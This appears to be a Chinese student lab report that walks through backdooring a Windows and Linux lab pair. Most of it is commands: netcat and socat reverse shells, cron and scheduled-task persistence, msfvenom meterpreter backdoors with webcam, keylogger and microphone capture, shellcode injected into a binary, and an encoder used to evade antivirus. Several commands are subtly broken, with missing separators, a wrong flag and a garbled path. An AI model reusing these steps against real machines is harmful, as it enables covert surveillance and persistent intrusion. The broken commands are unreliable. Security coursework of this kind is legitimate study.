一、实验目标
利用netcat获取主机操作 Shell,并通过cron实现定时任务持久化。
利用socat获取主机操作 Shell,并通过 Windows 任务计划实现启动控制。
使用 MSF meterpreter生成后门程序,通过ncat或socat传输至目标主机并运行,获取 Shell。
使用 MSF meterpreter生成具备音频、摄像头、击键记录功能的后门,并尝试提权。
使用 MSF 生成shellcode,注入到指定程序中,获取反弹连接 Shell。
二、实验环境
攻击机:Kali Linux 虚拟机(IP:192.168.48.131/172.16.223.225)
目标机:Windows 10 主机(IP:192.168.1.105/172.16.247.104)
工具:netcat、socat、Metasploit Framework(msfvenom、msfconsole)、gcc
三、实验步骤
任务一:使用netcat获取主机Shell
关闭目标机防火墙及 “病毒和威胁防护”,避免工具或后门被拦截。
目标机下载netcat-win32-1.12
,解压后在 PowerShell 中切换至安装目录
虚拟机终端使用ipconfig命令获取ip地址
在主机上打开powershell,输入
cd C:\Users\邓昊\Downloads\netcat-win32-1.12
./nc64.exe -l -p 2413
目标机启动监听(端口 2413):
在另一个终端输入:
netstat -an| findstr "2413"
验证监听状态:
在虚拟机上输入命令
nc 192.168.1.105 2413-e /usr/bin/zsh
使虚拟机连接到主机
连接成功, 主机可以控制虚拟机的命令
输入crontab -e,选 2 ,编辑crontab文件,进入编辑模式后,添加50 * * * * /bin/netcat 192.168.1
.105 2413 -e usr/bin/zsh,输入:wq保存
查看时程表
查看虚拟机目录,用root身份打开crontabs,找到持久化后门的定时任务的文件
在主机命令行输入
* * * * * echo "20232413" > /home/kali/dh/20232413.txt
将定时任务写入20232413.txt文件中
任务二:使用socat获取主机的shell
先下载socat,在socat目录下打开cmd,输入
./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
监听8888端口
虚拟机上输入
socat - tcp:172.16.247.104:8888
编写定时任务程序:
使用gcc执行
在虚拟机输入
schtasks /create /sc minute /mo 1 /tn "20232413" /tr F:\20232413.exe
打开任务计划程序库,可以找到名为20232413的定时任务
任务三:使用MSF meterpreter生成后门
在虚拟机输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.223.225 LPORT=2413 -f exe > backdoor20232413.exe
用来生成一个后门程序
在主机输入
./nc.exe -l-p 2413 >"C:\Users\邓昊\Desktoplbackdoor20232413.exe"
启动netcat监听器,端口为2413
在虚拟机输入
nc 172.16.223.225 2413<backdoor20232413.exe
将虚拟机中的文件内容发送给主机端口
在虚拟机终端输入msfconsole依次配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.48.131
set LPORT 2413
exploit
完成后在主机上运行后台程序
输入命令dir后可获得当前目录下的文件与目录:
任务四:使用MSF meterpreter生成获取目标主机资源的后门
使用命令:
webcam_snap
keyscan_start
keyscan_dump
record_mic
任务五:使用MSF生成shellcode,获取反弹连接Shell
在虚拟机输入
msfvenom -p linux/x86/meterpreter/reverse tcpLHOST=192.168.48.131 LPORT=8888 -x /home/kali/桌面/pwndh -f elf -0 pwn2413
sudo chmod a+x pwn2413
再打开一个终端,输入命令msfconsole,进行监听
然后输入ls可以得到/root目录内的内容
四、实验中遇到的问题与解决方法
问题:netcat或后门程序被 Windows Defender 拦截,无法运行。**` 或后门程序被 Windows Defender 拦截,无法运行。解决:实验前彻底关闭目标机防火墙及 “病毒和威胁防护”,或添加程序到白名单。
问题:cron任务未触发,无法自动连接。解决:检查crontab语法(时间格式、命令路径是否正确),确保netcat路径为/bin/netcat,而非相对路径。
问题:meterpreter会话频繁断开(提示 “Died”)。解决:延长会话超时时间(set COMMAND_TIMEOUT 60),或使用编码器规避检测(-e x86/shikata_ga_nai)重新生成后门。
问题:socat连接后命令乱码或无法交互。解决:监听时添加pty参数(模拟终端),确保exec:cmd.exe,pty,stderr格式正确。
五、实验心得
工具特性与适用场景:netcat轻量适用于简单反向 Shell,socat功能更强大(支持终端模拟),MSF meterpreter集成多种后渗透模块,适合复杂攻击。
持久化机制的重要性:通过cron(Linux)和任务计划(Windows)实现后门持久化,可在目标机重启后仍保持控制,是渗透测试的关键步骤。
安全防护启示:本次实验中,杀毒软件和防火墙是主要防御手段,实际环境中需加强主机防护(如禁止不明程序运行、及时修补漏洞)。
法律与伦理边界:实验仅在授权环境中进行,未经允许的网络攻击属于违法行为,需严格遵守网络安全法律法规。